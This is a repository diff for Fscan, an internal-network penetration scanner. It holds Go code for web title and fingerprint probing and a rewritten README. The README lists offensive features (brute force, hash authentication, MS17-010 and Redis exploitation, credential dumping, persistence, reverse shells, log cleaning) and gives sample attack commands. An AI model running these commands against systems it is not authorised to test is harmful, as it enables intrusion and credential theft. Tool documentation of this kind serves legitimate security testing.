if err != nil {
|
||||
// 记录错误但继续处理可能获取的数据
|
||||
Common.LogError(fmt.Sprintf("获取网站信息失败: %s %v", info.Url, err))
|
||||
}
|
||||
|
||||
// 分析指纹
|
||||
if len(checkData) > 0 {
|
||||
info.Infostr = WebScan.InfoCheck(info.Url, &checkData)
|
||||
|
||||
// 检查是否为打印机,避免意外打印
|
||||
for _, v := range info.Infostr {
|
||||
if v == printerFingerPrint {
|
||||
Common.LogBase("检测到打印机,停止扫描")
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// 初始化Url:根据主机和端口生成完整Url
|
||||
func initializeUrl(info *Common.HostInfo) error {
|
||||
if info.Url == "" {
|
||||
// 根据端口推断Url
|
||||
switch info.Ports {
|
||||
case httpPort:
|
||||
info.Url = fmt.Sprintf("%s://%s", httpProtocol, info.Host)
|
||||
case httpsPort:
|
||||
info.Url = fmt.Sprintf("%s://%s", httpsProtocol, info.Host)
|
||||
default:
|
||||
host := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
protocol, err := detectProtocol(host, Common.Timeout)
|
||||
if err != nil {
|
||||
return fmt.Errorf("协议检测失败: %w", err)
|
||||
}
|
||||
info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports)
|
||||
}
|
||||
} else if !strings.Contains(info.Url, "://") {
|
||||
// 处理未指定协议的Url
|
||||
host := strings.Split(info.Url, "/")[0]
|
||||
protocol, err := detectProtocol(host, Common.Timeout)
|
||||
if err != nil {
|
||||
return fmt.Errorf("协议检测失败: %w", err)
|
||||
}
|
||||
info.Url = fmt.Sprintf("%s://%s", protocol, info.Url)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// 获取Web信息:标题、指纹等
|
||||
func fetchWebInfo(info *Common.HostInfo) ([]WebScan.CheckDatas, error) {
|
||||
var checkData []WebScan.CheckDatas
|
||||
|
||||
// 记录原始Url协议
|
||||
originalUrl := info.Url
|
||||
isHTTPS := strings.HasPrefix(info.Url, "https://")
|
||||
|
||||
// 第一次尝试访问Url
|
||||
resp, err := fetchUrlWithRetry(info, false, &checkData)
|
||||
|
||||
// 处理不同的错误情况
|
||||
if err != nil {
|
||||
// 如果是HTTPS并失败,尝试降级到HTTP
|
||||
if isHTTPS {
|
||||
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
|
||||
resp, err = fetchUrlWithRetry(info, false, &checkData)
|
||||
|
||||
// 如果HTTP也失败,恢复原始Url并返回错误
|
||||
if err != nil {
|
||||
info.Url = originalUrl
|
||||
return checkData, err
|
||||
}
|
||||
} else {
|
||||
return checkData, err
|
||||
}
|
||||
}
|
||||
|
||||
// 处理重定向
|
||||
if resp != nil && resp.RedirectUrl != "" {
|
||||
info.Url = resp.RedirectUrl
|
||||
resp, err = fetchUrlWithRetry(info, true, &checkData)
|
||||
|
||||
// 如果重定向后失败,尝试降级协议
|
||||
if err != nil && strings.HasPrefix(info.Url, "https://") {
|
||||
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
|
||||
resp, err = fetchUrlWithRetry(info, true, &checkData)
|
||||
}
|
||||
}
|
||||
|
||||
// 处理需要升级到HTTPS的情况
|
||||
if resp != nil && resp.StatusCode == 400 && !strings.HasPrefix(info.Url, "https://") {
|
||||
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
|
||||
resp, err = fetchUrlWithRetry(info, false, &checkData)
|
||||
|
||||
// 如果HTTPS升级失败,回退到HTTP
|
||||
if err != nil {
|
||||
info.Url = strings.Replace(info.Url, "https://", "http://", 1)
|
||||
resp, err = fetchUrlWithRetry(info, false, &checkData)
|
||||
}
|
||||
|
||||
// 处理升级后的重定向
|
||||
if resp != nil && resp.RedirectUrl != "" {
|
||||
info.Url = resp.RedirectUrl
|
||||
resp, err = fetchUrlWithRetry(info, true, &checkData)
|
||||
}
|
||||
}
|
||||
|
||||
return checkData, err
|
||||
}
|
||||
|
||||
// 尝试获取Url,支持重试
|
||||
func fetchUrlWithRetry(info *Common.HostInfo, followRedirect bool, checkData *[]WebScan.CheckDatas) (*WebResponse, error) {
|
||||
// 获取页面内容
|
||||
resp, err := fetchUrl(info.Url, followRedirect)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 保存检查数据
|
||||
if resp.Body != nil && len(resp.Body) > 0 {
|
||||
headers := fmt.Sprintf("%v", resp.Headers)
|
||||
*checkData = append(*checkData, WebScan.CheckDatas{resp.Body, headers})
|
||||
}
|
||||
|
||||
// 保存扫描结果
|
||||
if resp.StatusCode > 0 {
|
||||
saveWebResult(info, resp)
|
||||
}
|
||||
|
||||
return resp, nil
|
||||
}
|
||||
|
||||
// 抓取Url内容
|
||||
func fetchUrl(targetUrl string, followRedirect bool) (*WebResponse, error) {
|
||||
// 创建HTTP请求
|
||||
req, err := http.NewRequest("GET", targetUrl, nil)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("创建HTTP请求失败: %w", err)
|
||||
}
|
||||
|
||||
// 设置请求头
|
||||
req.Header.Set("User-agent", Common.UserAgent)
|
||||
req.Header.Set("Accept", Common.Accept)
|
||||
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
|
||||
if Common.Cookie != "" {
|
||||
req.Header.Set("Cookie", Common.Cookie)
|
||||
}
|
||||
req.Header.Set("Connection", "close")
|
||||
|
||||
// 选择HTTP客户端
|
||||
var client *http.Client
|
||||
if followRedirect {
|
||||
client = lib.Client
|
||||
} else {
|
||||
client = lib.ClientNoRedirect
|
||||
}
|
||||
|
||||
if client == nil {
|
||||
return nil, ErrHTTPClientInit
|
||||
}
|
||||
|
||||
// 发送请求
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
// 特殊处理SSL/TLS相关错误
|
||||
errMsg := strings.ToLower(err.Error())
|
||||
if strings.Contains(errMsg, "tls") || strings.Contains(errMsg, "ssl") ||
|
||||
strings.Contains(errMsg, "handshake") || strings.Contains(errMsg, "certificate") {
|
||||
return &WebResponse{Error: err}, nil
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// 准备响应结果
|
||||
result := &WebResponse{
|
||||
Url: req.URL.String(),
|
||||
StatusCode: resp.StatusCode,
|
||||
Headers: make(map[string]string),
|
||||
}
|
||||
|
||||
// 提取响应头
|
||||
for k, v := range resp.Header {
|
||||
if len(v) > 0 {
|
||||
result.Headers[k] = v[0]
|
||||
}
|
||||
}
|
||||
|
||||
// 获取内容长度
|
||||
result.Length = resp.Header.Get(contentLength)
|
||||
|
||||
// 检查重定向
|
||||
redirectUrl, err := resp.Location()
|
||||
if err == nil {
|
||||
result.RedirectUrl = redirectUrl.String()
|
||||
}
|
||||
|
||||
// 读取响应内容
|
||||
body, err := readResponseBody(resp)
|
||||
if err != nil {
|
||||
return result, fmt.Errorf("读取响应内容失败: %w", err)
|
||||
}
|
||||
result.Body = body
|
||||
|
||||
// 提取标题
|
||||
if !utf8.Valid(body) {
|
||||
body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body)
|
||||
}
|
||||
result.Title = extractTitle(body)
|
||||
|
||||
if result.Length == "" {
|
||||
result.Length = fmt.Sprintf("%d", len(body))
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// 读取HTTP响应体内容
|
||||
func readResponseBody(resp *http.Response) ([]byte, error) {
|
||||
var body []byte
|
||||
var reader io.Reader = resp.Body
|
||||
|
||||
// 处理gzip压缩的响应
|
||||
if resp.Header.Get(contentEncoding) == gzipEncoding {
|
||||
gr, err := gzip.NewReader(resp.Body)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("创建gzip解压器失败: %w", err)
|
||||
}
|
||||
defer gr.Close()
|
||||
reader = gr
|
||||
}
|
||||
|
||||
// 读取内容
|
||||
body, err := io.ReadAll(reader)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("读取响应内容失败: %w", err)
|
||||
}
|
||||
|
||||
return body, nil
|
||||
}
|
||||
|
||||
// 提取网页标题
|
||||
func extractTitle(body []byte) string {
|
||||
// 使用正则表达式匹配title标签内容
|
||||
re := regexp.MustCompile("(?ims)<title.*?>(.*?)</title>")
|
||||
find := re.FindSubmatch(body)
|
||||
|
||||
if len(find) > 1 {
|
||||
title := string(find[1])
|
||||
|
||||
// 清理标题内容
|
||||
title = strings.TrimSpace(title)
|
||||
title = strings.Replace(title, "\n", "", -1)
|
||||
title = strings.Replace(title, "\r", "", -1)
|
||||
title = strings.Replace(title, " ", " ", -1)
|
||||
|
||||
// 截断过长的标题
|
||||
if len(title) > maxTitleLength {
|
||||
title = title[:maxTitleLength]
|
||||
}
|
||||
|
||||
// 处理空标题
|
||||
if title == "" {
|
||||
return emptyTitle
|
||||
}
|
||||
|
||||
return title
|
||||
}
|
||||
|
||||
return noTitleText
|
||||
}
|
||||
|
||||
// 保存Web扫描结果
|
||||
func saveWebResult(info *Common.HostInfo, resp *WebResponse) {
|
||||
// 处理指纹信息
|
||||
fingerprints := info.Infostr
|
||||
if len(fingerprints) == 1 && fingerprints[0] == "" {
|
||||
fingerprints = []string{}
|
||||
}
|
||||
|
||||
// 准备服务器信息
|
||||
serverInfo := make(map[string]interface{})
|
||||
serverInfo["title"] = resp.Title
|
||||
serverInfo["length"] = resp.Length
|
||||
serverInfo["status_code"] = resp.StatusCode
|
||||
|
||||
// 添加响应头信息
|
||||
for k, v := range resp.Headers {
|
||||
serverInfo[strings.ToLower(k)] = v
|
||||
}
|
||||
|
||||
// 添加重定向信息
|
||||
if resp.RedirectUrl != "" {
|
||||
serverInfo["redirect_Url"] = resp.RedirectUrl
|
||||
}
|
||||
|
||||
// 保存扫描结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.SERVICE,
|
||||
Target: info.Host,
|
||||
Status: "identified",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "http",
|
||||
"title": resp.Title,
|
||||
"Url": resp.Url,
|
||||
"status_code": resp.StatusCode,
|
||||
"length": resp.Length,
|
||||
"server_info": serverInfo,
|
||||
"fingerprints": fingerprints,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
|
||||
// 输出控制台日志
|
||||
logMsg := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v",
|
||||
resp.Url, resp.StatusCode, resp.Length, resp.Title)
|
||||
|
||||
if resp.RedirectUrl != "" {
|
||||
logMsg += fmt.Sprintf(" 重定向地址: %s", resp.RedirectUrl)
|
||||
}
|
||||
|
||||
if len(fingerprints) > 0 {
|
||||
logMsg += fmt.Sprintf(" 指纹:%v", fingerprints)
|
||||
}
|
||||
|
||||
Common.LogInfo(logMsg)
|
||||
}
|
||||
|
||||
// 检测目标主机的协议类型(HTTP/HTTPS)
|
||||
func detectProtocol(host string, timeout int64) (string, error) {
|
||||
// 根据标准端口快速判断协议
|
||||
if strings.HasSuffix(host, ":"+httpPort) {
|
||||
return httpProtocol, nil
|
||||
} else if strings.HasSuffix(host, ":"+httpsPort) {
|
||||
return httpsProtocol, nil
|
||||
}
|
||||
|
||||
timeoutDuration := time.Duration(timeout) * time.Second
|
||||
ctx, cancel := context.WithTimeout(context.Background(), timeoutDuration)
|
||||
defer cancel()
|
||||
|
||||
// 并发检测HTTP和HTTPS
|
||||
resultChan := make(chan ProtocolResult, 2)
|
||||
wg := sync.WaitGroup{}
|
||||
wg.Add(2)
|
||||
|
||||
// 检测HTTPS
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
success := checkHTTPS(host, timeoutDuration/2)
|
||||
select {
|
||||
case resultChan <- ProtocolResult{httpsProtocol, success}:
|
||||
case <-ctx.Done():
|
||||
}
|
||||
}()
|
||||
|
||||
// 检测HTTP
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
success := checkHTTP(ctx, host, timeoutDuration/2)
|
||||
select {
|
||||
case resultChan <- ProtocolResult{httpProtocol, success}:
|
||||
case <-ctx.Done():
|
||||
}
|
||||
}()
|
||||
|
||||
// 确保所有goroutine正常退出
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 收集结果
|
||||
var httpsResult, httpResult *ProtocolResult
|
||||
|
||||
for result := range resultChan {
|
||||
if result.Protocol == httpsProtocol {
|
||||
r := result
|
||||
httpsResult = &r
|
||||
} else if result.Protocol == httpProtocol {
|
||||
r := result
|
||||
httpResult = &r
|
||||
}
|
||||
}
|
||||
|
||||
// 决定使用哪种协议 - 优先使用HTTPS
|
||||
if httpsResult != nil && httpsResult.Success {
|
||||
return httpsProtocol, nil
|
||||
} else if httpResult != nil && httpResult.Success {
|
||||
return httpProtocol, nil
|
||||
}
|
||||
|
||||
// 默认使用HTTP
|
||||
return defaultProtocol, nil
|
||||
}
|
||||
|
||||
// 检测HTTPS协议
|
||||
func checkHTTPS(host string, timeout time.Duration) bool {
|
||||
tlsConfig := &tls.Config{
|
||||
InsecureSkipVerify: true,
|
||||
MinVersion: tls.VersionTLS10,
|
||||
}
|
||||
|
||||
dialer := &net.Dialer{
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
conn, err := tls.DialWithDialer(dialer, "tcp", host, tlsConfig)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
return true
|
||||
}
|
||||
|
||||
// 分析TLS错误,某些错误可能表明服务器支持TLS但有其他问题
|
||||
errMsg := strings.ToLower(err.Error())
|
||||
return strings.Contains(errMsg, "handshake failure") ||
|
||||
strings.Contains(errMsg, "certificate") ||
|
||||
strings.Contains(errMsg, "tls") ||
|
||||
strings.Contains(errMsg, "x509") ||
|
||||
strings.Contains(errMsg, "secure")
|
||||
}
|
||||
|
||||
// 检测HTTP协议
|
||||
func checkHTTP(ctx context.Context, host string, timeout time.Duration) bool {
|
||||
req, err := http.NewRequestWithContext(ctx, "HEAD", fmt.Sprintf("http://%s", host), nil)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
client := &http.Client{
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
DialContext: (&net.Dialer{
|
||||
Timeout: timeout,
|
||||
}).DialContext,
|
||||
},
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse // 不跟随重定向
|
||||
},
|
||||
Timeout: timeout,
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err == nil {
|
||||
resp.Body.Close()
|
||||
return true
|
||||
}
|
||||
|
||||
// 尝试原始TCP连接和简单HTTP请求
|
||||
netConn, err := net.DialTimeout("tcp", host, timeout)
|
||||
if err == nil {
|
||||
defer netConn.Close()
|
||||
netConn.SetDeadline(time.Now().Add(timeout))
|
||||
|
||||
// 发送简单HTTP请求
|
||||
_, err = netConn.Write([]byte("HEAD / HTTP/1.0\r\nHost: " + host + "\r\n\r\n"))
|
||||
if err == nil {
|
||||
// 读取响应
|
||||
buf := make([]byte, 1024)
|
||||
netConn.SetDeadline(time.Now().Add(timeout))
|
||||
n, err := netConn.Read(buf)
|
||||
if err == nil && n > 0 {
|
||||
response := string(buf[:n])
|
||||
return strings.Contains(response, "HTTP/")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
@@ -1,142 +1,292 @@
|
||||
# Fscan
|
||||
[English][url-docen]
|
||||
# Fscan
|
||||
|
||||
# 0x01 简介
|
||||
[English](README_EN.md)
|
||||
|
||||
一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。
|
||||
内网综合扫描工具,一键自动化漏扫。
|
||||
|
||||
# 0x02 主要功能
|
||||
## 1. 信息搜集
|
||||
- 基于ICMP的主机存活探测:快速识别网络中的活跃主机设备
|
||||
- 全面的端口扫描:系统地检测目标主机的开放端口情况
|
||||
**版本**: 2.2.0-rc
|
||||
|
||||
## 2. 爆破功能
|
||||
- 常用服务密码爆破:支持SSH、SMB、RDP等多种协议的身份认证测试
|
||||
- 数据库密码爆破:覆盖MySQL、MSSQL、Redis、PostgreSQL、Oracle等主流数据库系统
|
||||
## 功能特性
|
||||
|
||||
## 3. 系统信息与漏洞扫描
|
||||
- 网络信息收集:包括NetBIOS探测和域控制器识别
|
||||
- 系统信息获取:能够读取目标系统网卡配置信息
|
||||
- 安全漏洞检测:支持MS17-010等高危漏洞的识别与检测
|
||||
### 扫描能力
|
||||
- **主机发现** - ICMP/Ping存活探测,支持大网段B/C段存活统计
|
||||
- **端口扫描** - TCP全连接扫描,内置133个常用端口,支持端口组(web/db/service/all)
|
||||
- **服务识别** - 智能协议识别,支持20+种服务指纹匹配
|
||||
- **Web探测** - 网站标题、CMS指纹、Web中间件、WAF/CDN识别(40+指纹)
|
||||
|
||||
## 4. Web应用探测
|
||||
- 网站信息收集:自动获取网站标题信息
|
||||
- Web指纹识别:可识别常见CMS系统与OA框架
|
||||
- 漏洞扫描能力:集成WebLogic、Struts2等漏洞检测,兼容XRay POC
|
||||
### 爆破能力
|
||||
- **弱密码爆破** - 28种服务爆破(SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis等)
|
||||
- **Hash碰撞** - 支持NTLM Hash认证(SMB/WMI)
|
||||
- **SSH密钥登录** - 支持私钥认证方式
|
||||
- **智能字典** - 内置100+常见弱密码,支持{user}变量替换
|
||||
|
||||
## 5. 漏洞利用模块
|
||||
- Redis利用:支持写入公钥或植入计划任务
|
||||
- SSH远程执行:提供SSH命令执行功能
|
||||
- MS17-010利用:支持ShellCode注入,可实现添加用户等操作
|
||||
### 漏洞检测
|
||||
- **高危漏洞** - MS17-010(永恒之蓝)、SMBGhost(CVE-2020-0796)
|
||||
- **未授权访问** - Redis/MongoDB/Memcached/Elasticsearch等未授权检测
|
||||
- **POC扫描** - 集成Web漏洞POC,支持Xray POC格式
|
||||
- **DNSLog** - 支持DNSLog外带检测
|
||||
|
||||
## 6. 辅助功能
|
||||
- 扫描结果存储:将所有检测结果保存至文件,便于后续分析
|
||||
### 漏洞利用
|
||||
- **Redis利用** - 写公钥、写计划任务、写WebShell、主从复制RCE
|
||||
- **MS17-010利用** - ShellCode注入,支持添加用户、执行命令
|
||||
- **SSH命令执行** - 认证成功后自动执行命令
|
||||
|
||||
# 0x03 使用说明
|
||||
完整功能介绍、使用说明及最新更新请访问我们的官方网站。
|
||||
### 本地模块
|
||||
- **信息收集** - 系统信息、环境变量、域控信息、网卡配置
|
||||
- **凭据获取** - 内存转储(MiniDump)、键盘记录、注册表导出
|
||||
- **权限维持** - Systemd服务、Windows服务、计划任务、启动项、LD_PRELOAD
|
||||
- **反弹Shell** - 正向Shell、反向Shell、SOCKS5代理服务
|
||||
- **杀软检测** - 识别目标主机安装的安全软件
|
||||
- **痕迹清理** - 日志清理工具
|
||||
|
||||
## 官方网站
|
||||
### 输入输出
|
||||
- **目标输入** - IP/CIDR/域名/URL,支持文件批量导入
|
||||
- **排除规则** - 支持排除特定主机、端口
|
||||
- **输出格式** - TXT/JSON/CSV多格式输出
|
||||
- **静默模式** - 无Banner、无进度条、无颜色输出
|
||||
|
||||
**https://fscan.club/**
|
||||
### 网络控制
|
||||
- **代理支持** - HTTP/SOCKS5代理,支持指定网卡
|
||||
- **发包控制** - 速率限制、最大发包数量控制
|
||||
- **超时控制** - 端口超时、Web超时、全局超时独立配置
|
||||
- **并发控制** - 端口扫描线程、服务扫描线程独立配置
|
||||
|
||||
访问官网获取:
|
||||
### 扩展功能
|
||||
- **SDK嵌入** - `pkg/fscan`提供Go SDK,可嵌入Agent或安全平台,支持任务控制(Pause/Resume)、实时进度回调、TaskID追溯
|
||||
- **Web管理界面** - 可视化扫描任务管理(条件编译 -tags web)
|
||||
- **Lab靶场环境** - 内置Docker靶场用于测试学习
|
||||
- **插件化架构** - 服务插件/Web插件/本地插件分离,易于扩展
|
||||
- **多语言支持** - 中英文界面切换(-lang zh/en)
|
||||
- **性能统计** - JSON格式性能报告(-perf)
|
||||
|
||||
- 详细功能文档
|
||||
- 使用教程
|
||||
- 最新版本下载
|
||||
- 常见问题解答
|
||||
- 技术支持
|
||||
## v2.1.0 更新日志
|
||||
|
||||
## 编译说明
|
||||
> 本次更新包含 **262个提交**,涵盖30项新功能、120项修复、54项重构、14项性能优化、20项测试增强。
|
||||
|
||||
### 架构重构
|
||||
- **全局变量消除** - 迁移至Config/State对象,提升并发安全和可测试性
|
||||
- **SMB插件融合** - 整合smb/smb2/smbghost/smbinfo为统一插件,新增smb_protocol.go
|
||||
- **服务探测重构** - 实现Nmap风格fallback机制,优化端口指纹识别策略
|
||||
- **输出系统重构** - TXT实时刷盘+双写机制,解决结果丢失和乱序问题
|
||||
- **i18n框架升级** - 迁移至go-i18n,完整覆盖core/plugins/webscan模块
|
||||
- **HostInfo重构** - Ports字段从string改为int,类型安全
|
||||
- **函数复杂度优化** - clusterpoc(125→30)、EnhancedPortScan(111→20)
|
||||
- **代码审计** - 修复P0-P2级别问题,清理deadcode
|
||||
- **日志系统优化** - LogDebug调用清理(71→18),精简启动日志输出
|
||||
|
||||
### 性能优化
|
||||
- **正则预编译** - 全局正则表达式预编译,避免重复编译开销
|
||||
- **内存优化** - map[string]bool改为map[string]struct{}节省内存
|
||||
- **并发指纹匹配** - 多协程并行匹配,提升识别速度
|
||||
- **连接复用** - SOCKS5全局拨号器复用,避免重复握手
|
||||
- **滑动窗口调度** - 自适应线程池+流式迭代器,优化端口扫描
|
||||
- **CEL缓存优化** - POC扫描CEL环境缓存,减少重复初始化
|
||||
- **包级变量提取** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes等
|
||||
- **预分配容量** - 简化转换链、单次字符串替换
|
||||
- **并发安全优化** - 优化锁粒度和内存分配
|
||||
|
||||
### 新功能
|
||||
- **Web管理界面** - 可视化扫描任务管理,响应式布局和进度显示
|
||||
- **多格式POC适配** - 支持xray和afrog格式POC
|
||||
- **智能扫描模式** - 布隆过滤器去重+代理优化
|
||||
- **增强指纹库** - 集成FingerprintHub(3139条指纹)
|
||||
- **Favicon指纹识别** - 支持mmh3和MD5双格式hash匹配
|
||||
- **通用版本提取器** - 自动提取服务版本信息
|
||||
- **指纹优先级排序** - 智能排序匹配结果
|
||||
- **智能协议检测** - 自动识别HTTP/HTTPS协议类型
|
||||
- **网卡指定功能** - 支持VPN场景(-iface参数)
|
||||
- **排除主机文件** - 支持从文件读取排除主机(-ehf参数)
|
||||
- **ICMP令牌桶限速** - 防止高速扫描导致路由器崩溃
|
||||
- **端口扫描重试** - 失败自动重扫机制
|
||||
- **RDP真实认证** - 集成grdp库实现系统指纹识别
|
||||
- **SMB/FTP文件列表** - 匿名访问时自动列出文件
|
||||
- **302跳转双重识别** - 同时识别原始响应和跳转后响应指纹
|
||||
- **TXT输出URL汇总** - 末尾添加Web服务URL列表便于批量测试
|
||||
- **nmap核心集成** - 三大改进:探测策略/匹配引擎/版本解析
|
||||
- **插件选择性编译** - Build Tags系统,支持服务/本地/Web插件独立编译
|
||||
- **默认端口扩展** - 从62个扩展到133个常用端口
|
||||
- **全端口扫描支持** - 扩大端口范围限制
|
||||
- **HTTP重定向控制** - 可配置的重定向次数限制
|
||||
- **性能分析支持** - 添加pprof性能分析和benchmark测试
|
||||
- **TCP包统计** - 服务插件支持TCP包发送统计
|
||||
- **fscan-lab靶场** - 内网渗透训练平台,覆盖全部漏洞场景(未完成)
|
||||
- **Redis利用增强** - 移植完整Redis利用功能(写公钥/计划任务/WebShell/主从RCE)
|
||||
- **rsync插件重构** - 使用go-rsync库重构认证逻辑
|
||||
|
||||
### Bug修复(120项,列出关键修复)
|
||||
- **RDP空指针panic** - 修复证书解析导致的崩溃(#551)
|
||||
- **批量扫描漏报** - 修复大规模扫描遗漏问题(#304)
|
||||
- **JSON输出格式** - 修复输出格式错误(#446)
|
||||
- **Redis弱密码检测** - 修复检测遗漏问题(#447)
|
||||
- **结果实时保存** - 修复扫描结果未及时保存(#469)
|
||||
- **Nmap解析溢出** - 修复八进制转义解析bug(#478)
|
||||
- **指纹识别竞态** - 修复webtitle/webpoc竞态问题(#474)
|
||||
- **MySQL连接验证** - 改用information_schema库验证
|
||||
- **代理端口误判** - 修复代理模式下端口状态判断错误
|
||||
- **Context超时** - 修复22处插件超时未响应问题
|
||||
- **ICMP竞态条件** - 修复并发扫描竞争问题
|
||||
- **IPv6地址格式** - 修复4处地址格式化问题
|
||||
- **POC高并发卡死** - 修复Context未传播问题
|
||||
- **Ctrl+C结果丢失** - 添加信号处理确保结果写入
|
||||
- **SOCKS5全回显** - 添加代理连接验证
|
||||
- **服务探测泄漏** - 修复连接未正确关闭问题
|
||||
- **webtitle响应丢弃** - 修复部分响应数据被丢弃导致识别失败
|
||||
- **TXT漏洞信息缺失** - 修复输出遗漏漏洞详情
|
||||
- **JSON指纹缺失** - 统一SERVICE结果Target格式
|
||||
- **扫描耗时显示** - 修复完成耗时显示为0的问题
|
||||
- **虚假漏洞记录** - 重构TXT输出系统消除误报
|
||||
- **Redis跨平台路径** - 修复利用功能的路径和超时问题
|
||||
- **Windows编译警告** - 修复fscan-lite平台兼容性
|
||||
- **Go 1.20兼容** - 降级依赖保持兼容性
|
||||
|
||||
### 测试增强(20项)
|
||||
- **单元测试** - 核心模块覆盖率74-100%
|
||||
- **并发安全测试** - State对象、指纹匹配引擎专项测试
|
||||
- **集成测试** - Web扫描/端口扫描/服务探测/SSH认证/ICMP探测
|
||||
- **CLI参数测试** - 命令行参数解析验证
|
||||
- **性能基准测试** - AdaptivePool、服务探测策略benchmark
|
||||
- **ResultBuffer测试** - 去重和完整度评分验证
|
||||
|
||||
### 工程化改进
|
||||
- **CI流程优化** - golangci-lint v2升级,简化构建步骤
|
||||
- **Issue自动化** - GitHub Issue模板优化,Project自动化工作流
|
||||
- **Lint全量修复** - revive/errcheck/shadow/staticcheck/gosimple全部通过
|
||||
- **README重写** - 中英文文档全面更新
|
||||
- **代码格式统一** - gofmt/goimports规范化
|
||||
|
||||
## 快速开始
|
||||
|
||||
```bash
|
||||
# 基础编译
|
||||
go build -ldflags="-s -w" -trimpath main.go
|
||||
# 扫描C段
|
||||
./fscan -h 192.168.1.1/24
|
||||
|
||||
# UPX压缩(可选)
|
||||
upx -9 fscan
|
||||
# 指定端口
|
||||
./fscan -h 192.168.1.1 -p 22,80,443,3389
|
||||
|
||||
# 仅存活探测
|
||||
./fscan -h 192.168.1.1/24 -ao
|
||||
|
||||
# 禁用爆破
|
||||
./fscan -h 192.168.1.1/24 -nobr
|
||||
|
||||
# Web扫描
|
||||
./fscan -u http://192.168.1.1
|
||||
|
||||
# 本地插件
|
||||
./fscan -local systeminfo
|
||||
|
||||
# Hash碰撞
|
||||
./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
|
||||
|
||||
# Redis写公钥
|
||||
./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
|
||||
```
|
||||
|
||||
## 系统安装
|
||||
## 编译
|
||||
|
||||
```bash
|
||||
# 标准编译
|
||||
go build -ldflags="-s -w" -trimpath -o fscan main.go
|
||||
|
||||
# 带Web管理界面
|
||||
go build -tags web -ldflags="-s -w" -trimpath -o fscan main.go
|
||||
```
|
||||
|
||||
## 安装
|
||||
|
||||
```bash
|
||||
# Arch Linux
|
||||
yay -S fscan-git
|
||||
# 或
|
||||
paru -S fscan-git
|
||||
```
|
||||
|
||||
# 0x04 运行截图
|
||||
## 运行截图
|
||||
|
||||
`fscan.exe -h 192.168.x.x (全功能、ms17010、读取网卡信息)`
|
||||
`fscan.exe -h 192.168.x.x`
|
||||

|
||||
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写公钥)`
|
||||
`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis写公钥)
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080 一键支持xray的poc`
|
||||
`fscan.exe -h 192.168.x.x -m ssh -user root -pwda pass1 pass2 pass3` (追加多个密码)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
|
||||

|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 (netbios探测、域控识别,下图的[+]DC代表域控)`
|
||||
`fscan.exe -h 192.168.x.x -socks5 socks5://user:[email protected]:1080` (SOCKS5认证代理)
|
||||
|
||||
`fscan.exe -h 192.168.x.x -p 139 -m netbios`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.168.x.x/24 -m netbios(-m netbios时,才会显示完整的netbios信息)`
|
||||

|
||||
|
||||
`go run .\main.go -h 192.0.0.0/8 -m icmp(探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)`
|
||||
`fscan.exe -h 192.0.0.0/8 -m icmp`
|
||||

|
||||
|
||||
新的展示
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
# 0x05 免责声明
|
||||
## 路线图
|
||||
|
||||
本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。
|
||||
### 更新计划
|
||||
- **更新周期** - 每月一次版本发布
|
||||
- **前两周** - 新功能开发与特性更新
|
||||
- **后两周** - Bug修复与代码整合
|
||||
- **欢迎PR** - 期待您的贡献!
|
||||
|
||||
为避免被恶意使用,本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。
|
||||
### SDK & Agent 集成
|
||||
